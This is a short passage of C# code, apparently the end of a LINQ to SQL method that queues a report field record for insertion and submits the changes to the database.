dc.report_fields.InsertOnSubmit(rf); } dc.SubmitChanges(); } }

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